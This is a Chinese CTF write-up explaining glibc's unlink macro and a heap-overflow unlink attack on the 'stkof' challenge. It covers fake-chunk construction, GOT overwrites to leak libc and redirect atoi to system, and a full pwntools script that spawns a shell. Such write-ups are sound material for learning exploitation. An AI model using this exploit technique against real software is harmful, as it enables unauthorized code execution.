unlink是什么?

Index of /gnu/glibc

unlink其实是libc中定义的一个宏,定义如下:

#define unlink(AV, P, BK, FD) {                                            
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

在执行free()函数时执行了 _int_free()函数,在_int_free()函数中调用了unlink宏,大概的意思如下(注意_int_free()是函数不是宏):

#define unlink(AV, P, BK, FD)
static void _int_free (mstate av, mchunkptr p, int have_lock)
free(){
_int_free(){
unlink();
}
}

堆释放

 1 //gcc -g test.c -o test
2 #include<stdio.h>
3
4 void main(){
5 long *chunk1 = malloc(0x80);
6 long *first_chunk = malloc(0x80);
7 long *chunk3 = malloc(0x80);
8 long *second_chunk = malloc(0x80);
9 long *chunk5 = malloc(0x80);
10 long *third_chunk = malloc(0x80);
11 long *chunk7 = malloc(0x80);
12
13 free(first_chunk);
14 free(second_chunk);
15 free(third_chunk);
16
17 return 0;
18 }

这里申请了7个chunk,接着依次释放了first_chunk、second_chunk、third_chunk。这里为什么释放这几个chunk呢,因为地址相邻的chunk释放之后会进行合并,地址不相邻的时候不会合并。由于申请的是0x80的chunk,所以在释放之后不会进fastbin而是先进unsortbin。

  • first_bk -> second
  • second_fd -> first 、 second_bk -> third
  • third_fd -> second

image-20250406114803978

unlink其实是想把second_chunk摘掉,如果second_chunk被摘掉,那么就会变成下面这样:

image-20250406114927945

chunk状态检查

现在我们用的大多数linux都会对chunk状态进行检查,以免造成二次释放或者二次申请的问题。

但是检查的流程本身就存在一些问题,能够让我们进行利用。回顾一下以往我们做的题,大部分都是顺着原有的执行流程走,但是通过修改执行所用的数据来改变执行走向。unlink同样可以以这种方式进行利用,由于unlink是在free()函数中调用的,所以我们只看chunk空闲时都需要检查写什么

check1

检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小

如果一个块属于空闲状态,那么相邻高地址块的prev_size为前一个块的大小

check2

检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0

如果一个块属于空闲状态,那么相邻高地址块的size的P标志位为0,

check3

检查前后被释放chunk的fd和bk

检查前一个释放的bk是否指向自己,后一个的fd是否指向自己

例题

image-20250406130144366

很怪的程序,没有任何提示或菜单,只能静态分析,操作成功才有回显

静态分析

create

image-20250406131242513

edit

image-20250406131731627

输入数据长度没做检测,堆溢出警告

delete

image-20250406131829231

指针置空,无uaf

check

检查是否被使用

image-20250406132244324

动态调试

创建3个堆块试试,结果发现出现了6个(加上top_chunk的话理应出现4个),多出来的两个chunk其实是由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,即初次使用fget()函数和printf()函数的时候

image-20250406133025014

这样一来我们可能就无法堆chunk1做什么操作了,因为chunk1是被两个io_chunk包围住的,我们也不能够控制io_chunk。即使一定要利用chunk1的话也只能先通过堆溢出先覆盖io_chunk,但是这样太麻烦了。所以我们可以考虑更加容易利用的chunk2和chunk3,由chunk2溢出至chunk3,也方便控制流程走向

创建fake_chunk

利用unlink,势必要有一个空闲块。可以构造空闲块。如果我们在chunk2的data部分伪造一个fake_chunk,并且这个fake_chunk处于释放状态。通过堆溢出的方式和修改chunk3的prev_size和size的P标志位,释放chunk3的时向前合并,这样就能触发unlink了:

地址相邻的chunk释放之后会进行合并

image-20250406133433214

放在chunk2的data块的chunk大小至少为0x30

0x8(prev_size) + 0x8(size) + 0x8(fd) + 0x8(bk) + 0x8(next_prev) + 0x8(next_size) = 0x30

回忆前面的3个check:

为了能够使得在释放chunk3的时候能够向前合并fake_chunk,并且绕过检查,那么chunk3的prev_size就要等于fake_chunk的size大小,即0x30,这样才能说明前一个chunk(fake_chunk)是释放状态

如果想要触发unlink,那么chunk3的大小就必须超过fast_bin的最大值,所以chunk3的size就至少是0x90,并且chunk3的size的P标志位必须为0

  • prev_size:我们其实只想通过释放chunk3的时候向前合并fake_chunk,并不需要合并chunk2,所以fake_chunk的prev_size置零就行
  • size:其实fake_chunk仅仅需要fd和bk完成unlink流程就可以了,后面的next_prev和next_size仅仅为了检查时候用,所以size的大小为0x20就行
  • next_prev:这里其实就是为了绕过检查,证明fake_chunk是一个空闲块,所以next_prev要等于size,即0x20
  • next_size:没啥用,不检查这里,用字符串占位就好

上图的fake_chunk的next_prev和next_size指的是:fd_nextsize,bk_nextsize

注意:只有空闲的(被free掉的)large_chunk才有fd与bk指针,fd_nextsize,bk_nextsize也是如此。

image-20250406135240393

image-20250406135348129

  • fake_fd = first_prev_addr (?)
  • fake_bk = third_prev_addr(?)
  • third_fd = fake_prev_addr(✔️)
  • first_bk = fake_prev_addr(✔️)

所有创建的chunk的data起始地址都记录在ptr_list[]数组中

image-20250406140020017

image-20250406140030096

image-20250406140039099

image-20250406140113491

为什么释放chunk3就会触发unlink呢?首先fake_chunk与chunk3的地址相邻的,由于我们伪造的fake_chunk是空闲状态,所以在释放chunk3的过程中会发生向前合并,也就是说chunk3要与fake_chunk合并成一个大chunk。但是fake_chunk在我们构造的时候为了绕过检查,所以不得不与first_chunk和third_chunk组成双向链表,所以chunk3就需要横刀夺爱将first_chunk从双向链表中抢过来:
image-20250406140929258

chunk3抢fake_chunk的过程其实就相当于将fake_chunk从双向链表中摘除的过程,那么也就相当于执行unlink的过程,接下来我们看fake_chunk被摘除后发生了什么:

image-20250406140944925

fake_chunk被摘除之后首先执行的就是first_bk = third_addr,也就是说first_chunk的bk由原来指向fake_chunk地址更改成指向third_chunk地址

接下来执行third_fd = first_addr,即third_chunk的fd由由原来指向fake_chunk地址更改成first_chunk地址

这里需要注意的是third_chunk的fdfirst_chunk的bk更改的其实是一个位置,但是由于third_fd = first_addr后执行,所以此处内容会从0x602140被覆盖成0x602138

image-20250406141141497

因为整个过程中chunk1并没有使用过,所以s[1]并无大碍。但是s[2]的位置原本是chunk2的data指针,经过unlink之后变成了0x602138。最后就是s[3]了,这里原本是chunk3的data指针,但是由于前面为了触发unlink,所以chunk3被释放了,所以s[3]中被置空

那么我们去想,如果我们在主界面选择修改功能,并且选择修改chunk2,那么实际上输入的内容并不会写进chunk2,而是写进0x602138:

payload = 'a' * 8 + p64(hollkelf.got['free']) + p64(hollkelf.got['puts']) + p64(hollkelf.got['atoi'])

image-20250406141802270

这样一来free()函数、puts()函数、atoi()函数就已经在s[]数组中部署好了。可以看到如果再次修改s[0]的话其实修改的是free()函数的真实地址,再次修改s[1]的话其实修改的是puts()函数的真实地址,再次修改s[3]的话其实修改的是atoi()函数的真实地址。

那么接下来,如果将s[0],即free()函数got中的真实地址修改成puts_plt的话,释放调用free()函数就相当于调用puts()函数了。那么如果释放的是s[1]的话就可以泄露出puts()函数的真实地址了:

接下来就是释放s[1]了,虽然是调用free(puts_got),但实际上是puts(puts_got),需要注意的是我们接收泄露的地址的时候需要用\x00补全,并且用u64()转换一下才能用:

到了最后一步了,还是用前面的思路,我们将部署在s[2]中的atoi_got中的地址修改成前面找到的system()函数地址,这样一来在接收字符串调用atoi()函数的时候实际上调用的是system()函数:

最后我们在等待输入的时候输入/bin/sh字符串的地址就可以了,看起来是atoi(/bin/sh),但实际上执行的是system(/bin/sh)

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]

p=process('./stkof')
# p=remote('ip',port)
elf = ELF('./stkof')
libc = ELF('./libc.so.6')

#====================================================================
li = lambda x : print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + x + '\\x1b[0m')
s = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
r = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
ia = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\\x00'))
# u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))
# u32(p.recvuntil(b'\\xf7'))
def g():
gdb.attach(p)
pause()
#====================================================================
# choose 1
def alloc(size):
p.sendline('1')
sleep(0.1)
p.sendline(str(size))
p.recvuntil('OK\n')

# choose 2
def edit(idx, size, content):
p.sendline('2')
sleep(0.1)
p.sendline(str(idx))
sleep(0.1)
p.sendline(str(size))
sleep(0.1)
p.send(content)
p.recvuntil('OK\n')

def free(idx):
p.sendline('3')
sleep(0.1)
p.sendline(str(idx))

alloc(0x100)
sleep(1)
alloc(0x30)
sleep(1)
alloc(0x80)
sleep(1)
head = 0x602140

log.info('Create fake chunk')
payload = p64(0) + p64(0x20) + p64(head - 0x8) + p64(head) + p64(0x20)
payload = payload.ljust(0x30, b'a')
payload += p64(0x30) + p64(0x90)
edit(2, len(payload), payload)

free(3)
p.recvuntil('OK\n')

payload = b'a'*8+ p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
edit(2, len(payload), payload)

payload = p64(elf.plt['puts'])
edit(0, len(payload), payload)

free(1)
puts_addr = p.recvuntil(b'\nOK\n', drop=True).ljust(8, b'\x00')
print(puts_addr)
puts_addr = u64(puts_addr)

libc_base = puts_addr - libc.symbols['puts']
success('libc_base: ' + hex(libc_base))

system_addr = libc_base + libc.symbols['system']
success('system_addr: ' + hex(system_addr))

binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
success('binsh_addr: ' + hex(binsh_addr))

payload=p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))

p.interactive()